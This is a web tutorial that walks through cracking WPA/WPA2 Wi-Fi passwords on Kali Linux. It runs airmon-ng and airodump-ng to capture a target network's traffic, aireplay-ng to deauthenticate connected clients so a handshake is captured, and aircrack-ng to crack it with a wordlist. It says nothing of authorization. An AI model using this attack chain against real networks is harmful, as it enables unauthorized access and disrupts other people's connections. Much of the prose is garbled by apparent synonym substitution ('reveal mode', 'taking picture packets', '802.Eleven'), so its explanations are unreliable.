Steps By Steps Guide for Hacking Wifi using Kali Linux

The phrase “hacking Wifi” is exceptionally wonderful and fascinating. However, using a stable wordlist makes it much easier to hack wifi. However, this word list is only helpful once we recognize how to use that phrase listing to crack a hash truly. We should first generate the hash before we can translate it. Therefore, the steps to hack a WPA/WPA2 wifi are listed below, alongside a few beneficial wordlists.

Launch Kali Linux now. Launch the terminal. And carry out the subsequent actions.

Step 1: To look at or alter the configuration of the network interfaces on your gadget, use ifconfig (interface configuration).

Here,
eth0: First Ethernet interface
l0: Loopback interface
wlan0: the device’s first Wi-Fi network interface.

Step 2: Stop any processes that are presently using the WiFi interface.

airmon-ng check kill

Step 3: To begin the wlan0 in reveal mode.

airmon-ng start wlan0

Step 4: To view all of the Wifi networks around you.

airodump-ng wlan0mon

Airodump-ng is a tool used for taking picture packets.
“Wlan0mon” represents the interface’s name, although this name might also vary throughout unique gadgets.

To halt the manner once you’ve identified the goal network, press Ctrl+C.

Step 5: To view the clients linked to the target network.

airodump-ng -c 1 --bssid 80:35:C1:13:C1:2C -w /root wlan0mon

The following command can be used for packet-taking pictures using airodump-ng:

airodump-ng -c [Channel] --bssid [MAC address of WAP] -w [Directory to save the Password File] [Interface Name]

Explanation of the options:

-c: Specifies the channel to seize packets on.
–bssid: Specifies the MAC deal with the wireless get entry to factor (WAP) to goal.
-w`: Specifies the directory where the captured file, the Password File, could be stored.
[Interface Name]: Specifies the interface’s call for shooting packets. In this example, it’s far `wlan0mon`.

Step 6: Open a new terminal window to disconnect the customers linked to the target community.

aireplay-ng -0 10 -a 80:35:C1:13:C1:2C wlan0mon

To inject frames and perform de-authentication using aireplay-ng, use the subsequent command:

aireplay-ng -0 10 -a [BSSID] wlan0mon

Explanation:

• -0 specifies the deauthentication mode.
• 10 is the variety of deauthentication packets to be despatched.
• -a is observed through the target community’s BSSID (Basic Service Set Identifier).
• wlan0mon represents the name of the interface.

After executing this command, you may look at the WPA handshake in the previous terminal window when the customer gets disconnected from the target network and attempts to reconnect.

Step 7: Decrypt the password by way of launching the Files utility.
To accomplish your intention, you will need the report “hacking-01.Cap”. Use the following command to run the Aircrack-ng application and crack the 802.Eleven WEP or WPA-PSK keys:

aircrack-ng -a2 -b 80:35:C1:13:C1:2C -w /root/passwords.txt /root/hacking-01.cap

Aircrack-ng is an effective application for cracking WEP and WPA-PSK keys in 802.11 networks. Here’s a breakdown of the command alternatives:

-a : Use `-a2` for WPA2 or `-a` for WPA networks.
-b: Specify the BSSID of the goal community.
-w: Provide the vicinity of the wordlist file, `/root/passwords.Txt`, in this situation.
/root/hacking-01.cap: Set the vicinity of the cap file.

You can download one online if you do not have a Wordlist document. Alternatively, you could create your file using the “crunch” tool.
